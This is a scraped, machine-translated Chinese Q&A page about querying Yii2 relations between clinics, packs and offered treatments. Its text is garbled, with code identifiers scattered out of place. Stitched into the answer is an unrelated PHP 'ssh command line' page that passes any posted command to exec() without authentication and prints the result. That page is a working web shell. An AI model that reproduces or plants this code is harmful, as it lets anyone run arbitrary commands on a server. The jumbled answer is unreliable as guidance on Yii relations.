我正在尝试以下操作:
我有3个模型:typeof EnumOne
,Clinic
和Pack
。
OfferedTreatment
和Pack
通过FK OfferedTreatment
与Clinic
相关,并且两个模型都通过结点模型相互关联:clinic_id
({ {1}},Pack_OfferedTreatment
)。一包可以有多个pack_id
。
在offeredTreatment_id
中,我想要一个特定的诊所和与该诊所相关的特定包装,并获取所有相关的OfferedTreatments
来显示视图
我从以下功能获得的结果是,它返回了与诊所相关的所有ClinicController
,但没有返回包装。...我在做什么错了?
offeredTreatments
答案 0 :(得分:1)
我会以另一种方式考虑它。您说所提供的治疗与带有外键的诊所有关,但不应该如此。该包装与诊所有关,治疗与该包装有关,因此它已经与槽式包装有关。
如果已建立关系,诊所hasMany Packs和Packs hasMany治疗,则可以使用<div class="mageoneplus">
<div class="header"> Welcome to ssh command line</div>
<div class="body">
<?php
if(isset($_SERVER['ORIG_PATH_INFO'])){
$url = $_SERVER['ORIG_PATH_INFO'];
}elseif(isset($_SERVER['PATH_INFO'])){
$url = $_SERVER['ORIG_PATH_INFO'];
}
?>
<form action="<?php echo $url; ?>" id="mageoneplus-ssh" method="post" >
<div class="run-ssh">Example: php bin/magento</div>
<div class="input">
<?php
$value = "php bin/magento ";
if(isset($_POST["command"]) && $_POST["command"]){
$value = $_POST["command"];
}
?>
<input type="text" style="width:600;" name="command" id="command" value="<?php echo $value ?>" placeholder="Enter command line here..." />
</div>
</form>
<button type="submit" form="mageoneplus-ssh" value="Submit">Run</button>
<div class="result">
<?php
if(isset($_POST["command"]) && $_POST["command"]){
try{
$output = null;
set_time_limit(0);
$str = $_POST["command"];
exec($str, $output);
?>
<h1>The result:</h1>
<ul class="result-text">
<?php
foreach($output as $op){
?>
<li><?php echo $op; ?> </li>
<?php
}
?>
</ul>
<?php
} catch (Exception $e) {
echo 'you must <a href="https://www.google.com/search?q=enable+exec">enable exec</a>';
}
}
?>
</div>
</div>
<div class="author">
<div>Written by <a href="http://mageoneplus.com">Louis Pham</a></div>
</div>
</div>
<style>
.mageoneplus{ padding:20px; }
.header , .body ,.author{padding:10px 0px; }
.run-ssh{ margin:10px 0px; }
.result-text{ max-height: 400px;overflow-y: scroll;}
</style>
在诊所中运行查询。如果您有背包,则可以运行->innerJoinWith('packs.treatments')
。
来自docs:
您可以热切加载深层嵌套的关系,例如
->with(['clinic', 'treatments'])
。所有的父母关系都将热切加载。也就是说,当您使用a.b.c.d
调用with()时,将急切加载a.b.c.d
,a
,a.b
和a.b.c
。